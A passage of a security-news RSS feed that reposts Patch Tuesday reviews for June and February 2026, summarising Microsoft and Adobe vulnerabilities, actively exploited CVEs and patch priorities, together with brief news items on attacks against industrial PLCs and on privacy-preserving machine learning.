Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks]]></title>
<description><![CDATA[Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so ope...]]></description>
<link>https://tsecurity.de/de/3694552/hacking/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694552/hacking/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:44 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so operators cannot visually detect the intrusion. The advisory, first issued in April 2026 and revised on July 22, 2026, is cosigned […]</p>
<p>The post <a href="https://gbhackers.com/hackers-exploit-industrial-plcs/">Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Collaborative machine learning that preserves privacy]]></title>
<description><![CDATA[Researchers increase the accuracy and efficiency of a machine-learning method that safeguards user data.]]></description>
<link>https://tsecurity.de/de/3694498/it-security-nachrichten/collaborative-machine-learning-that-preserves-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694498/it-security-nachrichten/collaborative-machine-learning-that-preserves-privacy/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers increase the accuracy and efficiency of a machine-learning method that safeguards user data.]]></content:encoded>
</item>
<item>
<title><![CDATA[A new way to look at data privacy]]></title>
<description><![CDATA[Researchers create a privacy technique that protects sensitive data while maintaining a machine-learning model’s performance.]]></description>
<link>https://tsecurity.de/de/3694497/it-security-nachrichten/a-new-way-to-look-at-data-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694497/it-security-nachrichten/a-new-way-to-look-at-data-privacy/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers create a privacy technique that protects sensitive data while maintaining a machine-learning model’s performance.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks]]></title>
<description><![CDATA[Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so ope...]]></description>
<link>https://tsecurity.de/de/3694480/it-security-nachrichten/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694480/it-security-nachrichten/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so operators cannot visually detect the intrusion. The advisory, first issued in April 2026 and revised on July 22, 2026, is cosigned […]</p>
<p>The post <a href="https://gbhackers.com/hackers-exploit-industrial-plcs/">Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
